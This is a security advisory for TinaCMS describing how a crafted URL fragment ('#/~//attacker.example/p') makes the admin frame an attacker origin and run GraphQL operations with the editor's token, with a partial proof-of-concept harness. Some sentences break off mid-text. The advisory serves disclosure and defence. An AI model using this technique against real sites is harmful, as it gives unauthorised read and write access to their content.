GitHub Advisoryadvisory · npm

GHSA-x34j-47hf-4xg7 TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment

CRITICAL Published 2026-10-09 Modified 2026-10-09 Official page ↗
Aliases
CVE-2026-108261
Ecosystem
npm
Packages
tinacms, @tinacms/app
Severity
Critical
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Weaknesses
CWE-346, CWE-441, CWE-601
Reviewed
2026-10-09

Affected packages

• npm tinacms: < 3.14.0 → fixed in 3.14.0 • npm @tinacms/app: < 2.5.14 → fixed in 2.5.14

Description

Summary The TinaCMS admin builds its preview `` from the `/~/*` hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (`#/~//attacker.example/p`) becomes the protocol-relative URL `//attacker.example/p`, so the admin frames an external site. That same unvalidated string derives `expectedOrigin`, the only trust anchor for the admin↔preview `postMessage` channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin. One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor. Details Root cause — the router splat becomes the frame source with no same-origin check: ``` packages/tinacms/src/admin/index.tsx:16 HashRouter as Router, packages/tinacms/src/admin/index.tsx:329 path='/~/*' packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params['*']}`); packages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params['*']}`; packages/@tinacms/app/src/preview.tsx:24 src={props.url} ``` The leading `/` is meant to force a relative path, but `[email protected]` returns the splat with its own leading slash for `/~//x`, producing `//x`. The iframe has no `sandbox` attribute and the admin bundle ships no CSP. The trust anchor is then computed from that same value: ``` packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url) packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin; packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject ``` Both guards pass for the attacker: `event.origin` *is* `expectedOrigin`, and `event.source` *is* the frame the admin itself loaded. `PreviewInner`'s URL-correction poll (`packages/tinacms/src/admin/index.tsx:189-200`) does not recover the frame: reading `ref.current.contentWindow.location.href` across origins throws an uncaught `SecurityError`, so `setReportedURL` never fires and no corrective `navigate()` happens. The PoC below includes that effect verbatim and the attack still completes. Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker: ``` packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' handler; zod validates types only, not query content packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables }) packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin) ``` `expandQuery` (`packages/@tinacms/app/src/lib/expand-query.ts:3-18`) is operation-agnostic, so mutations pass through unchanged. Default-enabled: `packages/@tinacms/app/src/App.tsx:70` always passes `preview={Preview}`, and `packages/tinacms/src/admin/index.tsx:327` registers `/~/*` whenever `preview` is truthy — so the route exists in every `tinacms build` output and in `tinacms dev`. Incomplete-fix note: `[email protected]` / `@tinacms/[email protected]` (PR #7056, `c491fc5`) added the sender-side origin check, but never validated the URL that check compares against. Affected-range basis, stated plainly: I tested only `[email protected]` / `@tinacms/[email protected]` (commit `0d38acf`). The ranges below are given as `/dev/null npm i --ignore-scripts [email protected] [email protected] [email protected] [email protected] [email protected] cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts ``` `victim/admin.tsx` — `PreviewInner` from `packages/tinacms/src/admin/index.tsx:170-210`, `Preview` from `packages/@tinacms/app/src/preview.tsx:10-26`, and the four `graphql-reducer.ts` steps (`:209-212`, `:548-556`, `:613-624` + `:973-978`, `:497-505`): ```tsx import React from 'react'; import { createRoot } from 'react-dom/client'; import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom'; import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin'; const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`); // Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin // this is an authenticated call to the content API with the editor's token. async function tinaRequest(query: string) { log('cms.api.tina.request() called with attacker query', query); return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } }; } function useGraphQLReducer(iframe: React.MutableRefObject, url: string) { const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]); // :209-212 React.useEffect(() => { log('expectedOrigin derived from preview url', { url, expectedOrigin }); (window as any).__poc_expectedOrigin = expectedOrigin; }, [expectedOrigin, url]); const handleMessage = React.useCallback(async (event: MessageEvent) => { if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556 if (event.data.type === 'open') { // :613-624 log('ACCEPTED "open" message from', event.origin); const expandedData = await tinaRequest(event.data.query); // :973-978 postMessageToPreview(iframe.current?.contentWindow, { type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505 log('posted query result to', expectedOrigin); } }, [expectedOrigin]); React.useEffect(() => { window.addEventListener('message', handleMessage); return () => window.removeEventListener('message', handleMessage); }, [handleMessage]); } const Preview = (props: { url: string; iframeRef: React.MutableRefObject }) => { useGraphQLReducer(props.iframeRef, props.url); return ; // preview.tsx:24 }; const PreviewInner = ({ preview }: { preview: any }) => { // admin/index.tsx:170-210 const params = useParams(); const navigate = useNavigate(); const [url, setURL] = React.useState(`/${params['*']}`); const [reportedURL, setReportedURL] = React.useState(null); const ref = React.useRef(null); const param…

Related

Alias · CVE (1)

  • CVE-2026-108261 Tina is a headless content management system. vulnerability

Weakness · CWE (3)

  • CWE-346 Origin Validation Error weakness
  • CWE-441 Unintended Proxy or Intermediary weakness
  • CWE-601 URL Redirection to Untrusted Site weakness

References